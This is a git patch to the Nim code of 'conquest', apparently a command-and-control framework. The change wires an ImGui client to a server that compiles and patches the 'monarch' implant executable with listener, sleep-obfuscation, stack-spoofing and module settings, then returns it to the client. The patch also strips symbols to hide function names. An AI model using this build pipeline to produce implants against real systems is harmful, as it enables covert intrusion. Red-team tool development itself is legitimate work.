From 47799ee5f52690d3d2d16830ed0f59d197f27063 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Sat, 27 Sep 2025 15:18:45 +0200 Subject: [PATCH] Implemented generating agent payloads from the ImGui client. --- conquest.nimble | 3 +- src/agent/nim.cfg | 2 +- src/client/main.nim | 15 ++++-- src/client/views/console.nim | 2 +- src/client/views/listeners.nim | 4 +- src/client/views/modals/generatePayload.nim | 21 ++++---- src/client/websocket.nim | 14 ++++++ src/common/types.nim | 8 ++++ src/server/core/builder.nim | 53 ++++++++------------- src/server/core/server.nim | 17 +++++-- src/server/websocket.nim | 3 +- 11 files changed, 86 insertions(+), 56 deletions(-) diff --git a/conquest.nimble b/conquest.nimble index 27a37c6..ee610dc 100644 --- a/conquest.nimble +++ b/conquest.nimble @@ -30,4 +30,5 @@ requires "ptr_math >= 0.3.0" requires "imguin >= 1.92.2.1" requires "zippy >= 0.10.16" requires "mummy >= 0.4.6" -requires "whisky >= 0.1.3" \ No newline at end of file +requires "whisky >= 0.1.3" +requires "native_dialogs >= 0.2.0" \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index fdf88d4..d4cc69a 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -4,5 +4,5 @@ --opt:size --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" --d:MODULES=0 +-d:MODULES="223" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/main.nim b/src/client/main.nim index 794c777..1b449ca 100644 --- a/src/client/main.nim +++ b/src/client/main.nim @@ -1,6 +1,6 @@ import whisky -import tables, strutils, json, parsetoml -import ./utils/appImGui +import tables, strutils, strformat, json, parsetoml, base64, os # native_dialogs +import ./utils/[appImGui, globals] import ./views/[dockspace, sessions, listeners, eventlog, console] import ../common/[types, utils] import ./websocket @@ -97,7 +97,16 @@ proc main() = sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp of CLIENT_AGENT_PAYLOAD: - discard + let payload = decode(event.data["payload"].getStr()) + try: + let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe" + + # TODO: Using native file dialogs to have the client select the output file path (does not work in WSL) + # let outFilePath = callDialogFileSave("Save Payload") + + writeFile(outFilePath, payload) + except IOError: + discard of CLIENT_CONSOLE_ITEM: let agentId = event.data["agentId"].getStr() diff --git a/src/client/views/console.nim b/src/client/views/console.nim index db4fc1e..e54b372 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -205,7 +205,7 @@ proc draw*(component: ConsoleComponent, ws: WebSocket) = igText("Press CTRL+F to focus console filter.") igText("Use \",\" as a delimiter to filter for multiple values.") igText("Use \"-\" to exclude values.") - igText("Example: \"-warning,a,b\" returns all lines that do not include \"warning\" but include \"a\" or \"b\".") + igText("Example: \"-warning,a,b\" returns all lines that do not include \"warning\" but include either \"a\" or \"b\".") igEndTooltip() if igIsWindowFocused(ImGui_FocusedFlags_ChildWindows.int32) and io.KeyCtrl and igIsKeyPressed_Bool(ImGuiKey_F, false): diff --git a/src/client/views/listeners.nim b/src/client/views/listeners.nim index aec80a2..1152086 100644 --- a/src/client/views/listeners.nim +++ b/src/client/views/listeners.nim @@ -43,7 +43,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, ws: WebS if listener != nil: ws.sendStartListener(listener) - component.generatePayloadModal.draw(component.listeners) + let buildInformation = component.generatePayloadModal.draw(component.listeners) + if buildInformation != nil: + ws.sendAgentBuild(buildInformation) #[ Listener table diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index 333bb77..a7eaac2 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -43,7 +43,7 @@ proc resetModalValues(component: AgentModalComponent) = component.spoofStack = false component.moduleSelection.reset() -proc draw*(component: AgentModalComponent, listeners: seq[UIListener]) = +proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation = let textSpacing = igGetStyle().ItemSpacing.x @@ -114,18 +114,19 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]) = if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): - # Get values - echo listeners[component.listener].listenerId - echo $component.sleepDelay - echo component.sleepMaskTechniques[component.sleepMask] - echo $component.spoofStack - # Iterate over modules - var module: uint32 = 0 + var modules: uint32 = 0 for m in component.moduleSelection.items[1]: - module = module or uint32(m.moduleType) - echo module + modules = modules or uint32(m.moduleType) + result = AgentBuildInformation( + listenerId: listeners[component.listener].listenerId, + sleepDelay: component.sleepDelay, + sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), + spoofStack: component.spoofStack, + modules: modules + ) + component.resetModalValues() igCloseCurrentPopup() diff --git a/src/client/websocket.nim b/src/client/websocket.nim index 8eb98a3..3990699 100644 --- a/src/client/websocket.nim +++ b/src/client/websocket.nim @@ -25,6 +25,20 @@ proc sendStopListener*(ws: WebSocket, listenerId: string) = ) ws.sendEvent(event) +proc sendAgentBuild*(ws: WebSocket, buildInformation: AgentBuildInformation) = + let event = Event( + eventType: CLIENT_AGENT_BUILD, + timestamp: now().toTime().toUnix(), + data: %*{ + "listenerId": buildInformation.listenerId, + "sleepDelay": buildInformation.sleepDelay, + "sleepTechnique": cast[uint8](buildInformation.sleepTechnique), + "spoofStack": buildInformation.spoofStack, + "modules": buildInformation.modules + } + ) + ws.sendEvent(event) + # proc sendAgentCommand*(ws: WebSocket, agentId: string, command: string) = # var packer = Packer.init() diff --git a/src/common/types.nim b/src/common/types.nim index a05fcb0..2742759 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -330,3 +330,11 @@ type ConsoleItems* = ref object items*: seq[ConsoleItem] + + AgentBuildInformation* = ref object + listenerId*: string + sleepDelay*: uint32 + sleepTechnique*: SleepObfuscationTechnique + spoofStack*: bool + modules*: uint32 + diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 477f361..d04a7be 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -7,7 +7,7 @@ import ../../common/[types, utils, profile, serialize, crypto] const PLACEHOLDER = "PLACEHOLDER" -proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] = +proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] = var packer = Packer.init() @@ -21,7 +21,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT # Sleep settings packer.add(uint32(sleep)) - packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii()))) + packer.add(uint8(sleepTechnique)) packer.add(uint8(spoofStack)) # Public key for key exchange @@ -59,7 +59,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string = it ).join("\n") -proc compile(cq: Conquest, placeholderLength: int): string = +proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string = let configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg" @@ -75,7 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string = var config = readFile(configFile) .replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-o:", exeFile) - # .replaceAfterPrefix("-d:MODULES=", modules) + .replaceAfterPrefix("-d:MODULES=", $modules) writeFile(configFile, config) cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") @@ -106,7 +106,7 @@ proc compile(cq: Conquest, placeholderLength: int): string = cq.error("An error occurred: ", err.msg) return "" -proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool = +proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): seq[byte] = cq.info("Patching profile configuration into agent.") @@ -124,44 +124,29 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bo for i, c in Bytes.toString(configuration): exeBytes[placeholderPos + i] = c - writeFile(unpatchedExePath, exeBytes) cq.success(fmt"Agent payload patched successfully: {unpatchedExePath}.") - + return string.toBytes(exeBytes) + except CatchableError as err: cq.error("An error occurred: ", err.msg) - return false + + return @[] - return true - # Agent generation -proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} = +proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] = # Verify that listener exists - if not cq.dbListenerExists(listener.toUpperAscii): - cq.error(fmt"Listener {listener.toUpperAscii} does not exist.") - return false + if not cq.dbListenerExists(listenerId.toUpperAscii): + cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.") + return - let listener = cq.listeners[listener.toUpperAscii] + let listener = cq.listeners[listenerId.toUpperAscii] - var config: seq[byte] - if sleepDelay.isEmptyOrWhitespace(): - # If no sleep value has been defined, take the default from the profile - config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack) - else: - config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack) + var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack) - let unpatchedExePath = cq.compile(config.len) + let unpatchedExePath = cq.compile(config.len, modules) if unpatchedExePath.isEmptyOrWhitespace(): - return false - - if not cq.patch(unpatchedExePath, config): - return false - - return true - - - - - - + return + # Return packet to send to client + return cq.patch(unpatchedExePath, config) \ No newline at end of file diff --git a/src/server/core/server.nim b/src/server/core/server.nim index b58e2db..d23c670 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -107,7 +107,8 @@ proc handleConsoleCommand(cq: Conquest, args: string) = of "interact": cq.agentInteract(opts.agent.get.interact.get.name) of "build": - cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack) + discard + # cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack) else: cq.agentUsage() @@ -185,7 +186,17 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. cq.listenerStop(listenerId) of CLIENT_AGENT_BUILD: - discard + let + listenerId = event.data["listenerId"].getStr() + sleepDelay = event.data["sleepDelay"].getInt() + sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt()) + spoofStack = event.data["spoofStack"].getBool() + modules = cast[uint32](event.data["modules"].getInt()) + + let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules) + if payload.len() != 0: + cq.client.sendAgentPayload(payload) + else: discard of ErrorEvent: @@ -196,7 +207,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. proc serve(server: Server) {.thread.} = try: - server.serve(Port(12345)) + server.serve(Port(12345), "127.0.0.1") except Exception: discard diff --git a/src/server/websocket.nim b/src/server/websocket.nim index d149beb..118fce0 100644 --- a/src/server/websocket.nim +++ b/src/server/websocket.nim @@ -59,12 +59,11 @@ proc sendAgentCheckin*(client: UIClient, agentId: string) = if client != nil: client.ws.sendEvent(event) -proc sendAgentPayload*(client: UIClient, agentId: string, bytes: seq[byte]) = +proc sendAgentPayload*(client: UIClient, bytes: seq[byte]) = let event = Event( eventType: CLIENT_AGENT_PAYLOAD, timestamp: now().toTime().toUnix(), data: %*{ - "agentId": agentId, "payload": encode(bytes) } )